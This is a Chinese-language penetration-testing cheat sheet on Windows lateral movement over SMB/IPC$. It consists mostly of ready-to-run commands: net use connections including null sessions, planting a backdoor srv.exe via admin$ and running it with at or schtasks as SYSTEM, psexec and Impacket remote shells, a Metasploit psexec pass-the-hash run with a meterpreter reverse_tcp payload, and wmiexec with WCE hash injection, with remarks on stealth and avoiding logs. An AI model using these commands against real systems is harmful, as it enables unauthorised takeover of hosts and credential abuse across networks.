IPC远程连接
1 、SMB:(Server Message Block) Windows协议族,用于文件打印共享的服务;
2 、NBT:(NETBios Over TCP/IP)使用137(UDP)138(UDP)139(TCP)端口实现基于TCP/IP协议的NETBIOS网络互联。
3 、在WindowsNT中SMB基于NBT实现,即使用139(TCP)端口;而在Windows2000中,SMB除了基于NBT实现,还可以直接通过445端口实现。
IPC连接常用命令:
当获取到可用于远程管理的账户时候,便可通过对ADMIN$目录建立IPC连接的方式远程连接到工作组或域内其他计算机,获取目标机器的控制权限。(内网渗透时曾遇到3389远程登录策略被禁止,且无该机器shell,但通过信息收集获取到账号密码的情况,选择使用IPC连接)
net share // 查看是否开启IPC连接(windows默认开启共享)
net use \\192.168.1.2 /u:domainname\administrator password //建立ipc连接
net share ipc$ //开启ipc连接
net use \\192.168.1.2\ipc$ "" /user:"" //建立空连接
net use \\192.168.1.2 /de /y //删除ipc连接
net time \\192.168.1.2 //查看远程主机当前时间
net view \\192.168.1.2 //查看共享目录
net view \\192.168.1.2\c$\users //列出指定目录文件
copy nbtscan.exe \\192.168.1.2\C$\windows\temp\ //复制文件
copy \\192.168.1.2\C$\windows\temp\hash.txt //下载文件
tips:
默认情况下只有域管用户有权限对admin$目录建立IPC连接,其实本地的Administrator用户也可以,但是默认情况下该用户是被禁用的,如果启用了该用户,那么也可以使用Administrator用户远程连接
0x02 IPC计划任务执行命令:
at命令(已弃用):
copy srv.exe \\ip\admin$\system32 //将一次性后门srv.exe复制到对方的系统文件夹下,前提是admin$开启
at \\ip 时间 srv.exe //用at命令远程运行srv.exe,需要对方开启了\'Task Scheduler\'服务
schtasks命令:
schtasks /create /tn task1 /U 域\域用户 /P 域用户密码 /tr 命令 /sc ONSTART /s 域机器ip /RU system
示例(IPC已登录情况下,省略账号密码):
计划安全脚本 Sec.vbs 每 20 分钟运行一次。由于命令没有包含起始日期或时间,任务在命令完成 20 分钟后启动,此后每当系统运行它就每 20 分钟运行一次。请注意,安全脚本源文件位于远程计算机上,但任务在本地计算机上计划并执行。
schtasks /create /tn "Security scrīpt" /sc minute /mo 20 /tr \\central\data\scrīpts\sec.vbs
schtasks /run /tn task1 /s 192.168.10.2 /U 域/域用户 /P 域用户密码
schtasks /F /delete /tn task1 /s 域机器ip /U 域\域用户 /p 域用户密码
利用计划任务执行木马程序获得主机权限外,我们还可以利用schtasks计划任务直接执行系统命令,但由于不会回显,所以我们要将执行的结果写入到一个文本文件中,然后利用type命令远程读取:
schtasks /create /s 192.168.1.2 /tn test /sc minute /mo 20 /tr "C:\Windows\System32\cmd.exe /c \'whoami > C:\Users\Administrator\result.txt\'" /ru system /f
使用type命令读取文件内容:
type \\192.168.1.2\c$\Users\Administrator\result.txt
注意:在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SchedLgU.txt
0x03 PSEXEC 配合 IPC :
1、在已建立IPC连接的前提下,使用微软官方工具pstools,反弹shell
net use \\ip /u:域名称\域账号 密码
psexec.exe \\ip -s cmd.exe -acceptcula 反弹cmd
2、直接使用psexec登录并反弹cmd,或执行命令
psexec \\ip -u domain\Administrator -p password-s cmd.exe -acceptcula
psexec domain/user:password@ip whoami
0x04 Impacket配合IPC:
smbexec.py domain/user:password@ip
wmiexec.py domain/user:password@ip whoami
- psexec.py
- 与官方psexec.exe相比会自动删除服务,增加隐蔽性*
psexec.py domain/user:password@ip
psexec.py domain/user:password@ip whoami
0x05 Metaspolit配合IPC:
常用模块为:
exploit/windows/smb/psexec // 用psexec执行系统命令,与psexec.exe相同
exploit/windows/smb/psexec_psh // 使用powershell作为payload(PsExec的PowerShell版本)
auxiliary/admin/smb/psexec_command // 在目标机器上执行系统命令
exploit/windows/smb/ms17_010_psexec
tips:填入的hash为 LM hash:NTLM Hash
msf6 > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set LHOST 10.10.12.191
LHOST => 10.10.12.191
msf6 exploit(windows/smb/psexec) > set LPORT 1234
LPORT => 1234
msf6 exploit(windows/smb/psexec) > set RHOSTS 192.168.126.137
RHOSTS => 192.168.126.137
msf6 exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.126.137 yes The target host(s), range CIDR identifier, or hosts file with syntax \'file:<path>\'
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE no The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: \'\', seh, thread, process, none)
LHOST 10.10.12.191 yes The listen address (an interface may be specified)
LPORT 1234 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/smb/psexec) > set SMBUser administrator
SMBUser => administrator
msf6 exploit(windows/smb/psexec) > set SMBPASS f471ca8ea823361ef9393d97e7a1873c:4d01fbeeaf2b706478943e0889df5622
SMBPASS => f471ca8ea823361ef9393d97e7a1873c:4d01fbeeaf2b706478943e0889df5622
msf6 exploit(windows/smb/psexec) > set SMBDomain leaf.com
SMBDomain => leaf.com
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 10.10.12.191:1234
[*] 192.168.126.137:445 - Connecting to the server...
[*] 192.168.126.137:445 - Authenticating to 192.168.126.137:445|leaf.com as user \'administrator\'...
[-] 192.168.126.137:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.
[*] Exploit completed, but no session was created.
0x06 建立IPC连接失败的原因:
1、 IPC连接是Windows NT及以上系统中特有的功能,由于其需要用到Windows NT中很多DLL函数,所以不能在Windows 9.x/Me系统中运行,也就是说只有nt/2000/xp才可以相互建立ipc$连接,98/me是不能建立ipc$连接的;
2 、如果想成功的建立一个ipc$连接,就需要响应方开启ipc$共享,即使是空连接也是这样,如果响应方关闭了ipc$共享,将不能建立连接;
3 、连接发起方未启动Lanmanworkstation服务(显示名为:Workstation):它提供网络链结和通讯,没有它发起方无法发起连接请求;
4、 响应方未启动Lanmanserver服务(显示名为:Server):它提供了 RPC 支持、文件、打印以及命名管道共享,ipc$依赖于此服务,没有它主机将无法响应发起方的连接请求,不过没有它仍可发起ipc$连接;
5 、响应方未启动NetLogon,它支持网络上计算机 pass-through 帐户登录身份(不过这种情况好像不多);
6 、响应方的139,445端口未处于监听状态或被防火墙屏蔽;7 连接发起方未打开139,445端口;
7、 用户名或者密码错误:如果发生这样的错误,系统将给你类似于\’无法更新密码\’这样的错误提示(显然空会话排除这种错误);
8、 命令输入错误:可能多了或少了空格,当用户名和密码中不包含空格时两边的双引号可以省略,如果密码为空,可以直接输入两个引号””即可;
9、 如果在已经建立好连接的情况下对方重启计算机,那么ipc$连接将会自动断开,需要重新建立连接。
错误号5,拒绝访问:很可能你使用的用户不是管理员权限的;
错误号51,Windows无法找到网络路径:网络有问题;
错误号53,找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名:你的lanmanworkstation服务未启动或者目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个ipc$,请删除再连;
错误号1326,未知的用户名或错误密码:原因很明显了;
错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动;
错误号2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。
0x07 wmiexec:
wmi介绍
全称是Windows management instrumentation,它出现在所有的Windows操作系统中,并由一组强大的工具集合组成,用于管理本地或远程的Windows系统,攻击者使用wmi来进行攻击,但Windows系统默认不会再日志中记录这些操作,可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性。推荐使用wmiexec进行远程执行命令
wmiexec介绍
大牛使用VBS脚本调用WMI来模拟 psexec 的功能,于是乎WMIEXEC 就诞生了。基本上psexec 能用的地方,这个脚本也能够使用。整个过程是先调用WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机,然后如果提供了账号密码,则用这个账号密码建立一个到目标的IPC连接。随后WMI会建立一个共享文件夹,用于远程读取命令执行结果。 当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹中。最后,通过FSO组件访问远程共享文件夹中的结果文件,将结果输出。当结果读取完成时,调用WMI执行命令删除结果文件。最后当WMIEXEC退出时,删除文件共享。
常用命令
获取半交互式shell
cscript.exe //nologo wmiexec.vbs /shell 192.168.0.1 username password
在远程系统上执行单条命令
cscript.exe wmiexec.vbs /cmd 192.168.0.1 username password “cmdkey /list”
在远程系统上执行bat脚本
cscript.exe wmiexec.vbs /cmd 192.168.0.1 username password c:\programdata\test.bat
上面是提供账号密码的情况,如果有时候我们抓取到的是hash,破解不了时可以利用WCE的hash注入,然后再执行wmiexec(不提供账号密码)就可以了,操作如下:
wce –s 账号:主机名或域的名字:LM:NTLM
cscript //nologo wmiexec.vbs /shell 192.168.0.1